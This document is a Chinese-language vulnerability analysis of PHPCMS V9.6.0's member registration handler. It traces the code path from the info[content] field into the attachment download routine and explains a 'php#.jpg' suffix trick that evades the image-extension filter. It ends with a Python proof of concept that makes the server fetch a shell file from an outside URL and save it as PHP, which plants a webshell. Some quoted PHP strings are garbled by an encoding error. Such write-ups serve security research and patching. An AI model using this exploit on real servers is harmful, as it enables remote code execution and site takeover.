0x01 漏洞分析

漏洞 url:

http://localhost/index.php?m=member&c=index&a=register&siteid=1

跟进 /Applications/MxSrvs/www/phpcms_V9.6.0/install_package/phpcms/modules/member/index.php

漏洞代码从129行-136行

1
2
3
4
5
6
7
if($member_setting['choosemodel']) {
require_once CACHE_MODEL_PATH.'member_input.class.php';
require_once CACHE_MODEL_PATH.'member_update.class.php';
$member_input = new member_input($userinfo['modelid']);
$_POST['info'] = array_map('new_html_special_chars',$_POST['info']);
$user_model_info = $member_input->get($_POST['info']);
}

$_POST[‘info’] 被函数 new_html_special_chars 过滤一遍

1
2
3
4
5
6
7
function new_html_special_chars($string) {
$encoding = 'utf-8';
if(strtolower(CHARSET)=='gbk') $encoding = 'ISO-8859-15';
if(!is_array($string)) return htmlspecialchars($string,ENT_QUOTES,$encoding);
foreach($string as $key => $val) $string[$key] = new_html_special_chars($val);
return $string;
}

htmlspecialchars($string, ENT_QUOTES, $encoding)
实体化编码 单引号和双引号

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
function get($data) {
$this->data = $data = trim_script($data);
$model_cache = getcache('member_model', 'commons');
$this->db->table_name = $this->db_pre.$model_cache[$this->modelid]['tablename'];

$info = array();
$debar_filed = array('catid','title','style','thumb','status','islink','description');
if(is_array($data)) {
foreach($data as $field=>$value) {
if($data['islink']==1 && !in_array($field,$debar_filed)) continue;
$field = safe_replace($field);
$name = $this->fields[$field]['name'];
$minlength = $this->fields[$field]['minlength'];
$maxlength = $this->fields[$field]['maxlength'];
$pattern = $this->fields[$field]['pattern'];
$errortips = $this->fields[$field]['errortips'];
if(empty($errortips)) $errortips = "$name ������Ҫ��";
$length = empty($value) ? 0 : strlen($value);
if($minlength && $length < $minlength && !$isimport) showmessage("$name �������� $minlength ���ַ���");
if (!array_key_exists($field, $this->fields)) showmessage('ģ���в�����'.$field.'�ֶ�');
if($maxlength && $length > $maxlength && !$isimport) {
showmessage("$name ���ó��� $maxlength ���ַ���");
} else {
str_cut($value, $maxlength);
}
if($pattern && $length && !preg_match($pattern, $value) && !$isimport) showmessage($errortips);
if($this->fields[$field]['isunique'] && $this->db->get_one(array($field=>$value),$field) && ROUTE_A != 'edit') showmessage("$name ��ֵ�����ظ���");
$func = $this->fields[$field]['formtype'];
if(method_exists($this, $func)) $value = $this->$func($field, $value);

$info[$field] = $value;
}
}
return $info;
}

参数传入:
首先经过 trim_script 函数, 过滤掉script和iframe

1
2
3
4
5
6
7
function trim_script($str) {
$str = preg_replace ( '/\<([\/]?)script([^\>]*?)\>/si', '&lt;\\1script\\2&gt;', $str );
$str = preg_replace ( '/\<([\/]?)iframe([^\>]*?)\>/si', '&lt;\\1iframe\\2&gt;', $str );
$str = preg_replace ( '/\<([\/]?)frame([^\>]*?)\>/si', '&lt;\\1frame\\2&gt;', $str );
$str = preg_replace ( '/]]\>/si', ']] >', $str );
return $str;
}

再经过safe_replace 函数,过滤特殊字符

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
function safe_replace($string) {
$string = str_replace('%20','',$string); // 空格
$string = str_replace('%27','',$string); // 单引号
$string = str_replace('%2527','',$string); // 双重编码
$string = str_replace('*','',$string);
$string = str_replace('"','&quot;',$string);
$string = str_replace("'",'',$string);
$string = str_replace('"','',$string);
$string = str_replace(';','',$string);
$string = str_replace('<','&lt;',$string);
$string = str_replace('>','&gt;',$string);
$string = str_replace("{",'',$string);
$string = str_replace('}','',$string);
$string = str_replace('\\','',$string);
return $string;
}

1
2
$func = $this->fields[$field]['formtype'];
if(method_exists($this, $func)) $value = $this->$func($field, $value);

a2c24d4398d5221982a1cfa140d52d79

ediotr 方法

1
2
3
4
5
6
7
8
9
10
11
function editor($field, $value) {
$setting = string2array($this->fields[$field]['setting']);
$enablesaveimage = $setting['enablesaveimage'];
if(isset($_POST['spider_img'])) $enablesaveimage = 0;
if($enablesaveimage) {
$site_setting = string2array($this->site_config['setting']);
$watermark_enable = intval($site_setting['watermark_enable']);
$value = $this->attachment->download('content', $value,$watermark_enable);
}
return $value;
}

$value = $this->attachment->download(‘content’, $value, $watermark_enable);

传入的被带入download函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
function download($field, $value,$watermark = '0',$ext = 'gif|jpg|jpeg|bmp|png', $absurl = '', $basehref = '')
{
global $image_d;
$this->att_db = pc_base::load_model('attachment_model');
$upload_url = pc_base::load_config('system','upload_url');
$this->field = $field;
$dir = date('Y/md/');
$uploadpath = $upload_url.$dir;
$uploaddir = $this->upload_root.$dir;
$string = new_stripslashes($value);
if(!preg_match_all("/(href|src)=([\"|']?)([^ \"'>]+\.($ext))\\2/i", $string, $matches)) return $value;
$remotefileurls = array();
foreach($matches[3] as $matche)
{
if(strpos($matche, '://') === false) continue;
dir_create($uploaddir);
$remotefileurls[$matche] = $this->fillurl($matche, $absurl, $basehref);
}
unset($matches, $string);
$remotefileurls = array_unique($remotefileurls);
$oldpath = $newpath = array();
foreach($remotefileurls as $k=>$file) {
if(strpos($file, '://') === false || strpos($file, $upload_url) !== false) continue;
$filename = fileext($file);
$file_name = basename($file);
$filename = $this->getname($filename);

$newfile = $uploaddir.$filename;
$upload_func = $this->upload_func;
if($upload_func($file, $newfile)) {
$oldpath[] = $k;
$GLOBALS['downloadfiles'][] = $newpath[] = $uploadpath.$filename;
@chmod($newfile, 0777);
$fileext = fileext($filename);
if($watermark){
watermark($newfile, $newfile,$this->siteid);
}
$filepath = $dir.$filename;
$downloadedfile = array('filename'=>$filename, 'filepath'=>$filepath, 'filesize'=>filesize($newfile), 'fileext'=>$fileext);
$aid = $this->add($downloadedfile);
$this->downloadedfiles[$aid] = $filepath;
}
}
return str_replace($oldpath, $newpath, $value);
}

waf:

if(!preg_match_all(“/(href|src)=([\”|’]?)([^ \”‘>]+.($ext))\2/i”, $string, $matches)) return $value;

后缀:$ext = ‘gif|jpg|jpeg|bmp|png’
使用 php#.jpg 绕过

进入到 fillurl 函数
在 301 行去掉了 #

\$pos = strpos($surl,’#’);

$remotefileurls = http://url/shell.php

0x02 漏洞复现

1192bc6a47731354afb36b986b5dc6a6

0x03 POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
# -*- coding: utf-8 -*-
# @Time : 2018-12-20 22:57
# @Author : Patrilic
# @FileName: file_writein_poc.py
# @Software: PyCharm


import requests

url = 'http://localhost/phpcms_V9.6.0/install_package/index.php?m=member&c=index&a=register&siteid=1'

data = {
'siteid': '1',
'modelid': '1',
'username': 'test',
'password': 'testxx',
'email': 'test@test.com',
'info[content]': '<img src=http://url/shell.txt?.php#.jpg>',
'dosubmit': '1',
}

poc = requests.post(url,data= data)
print(poc)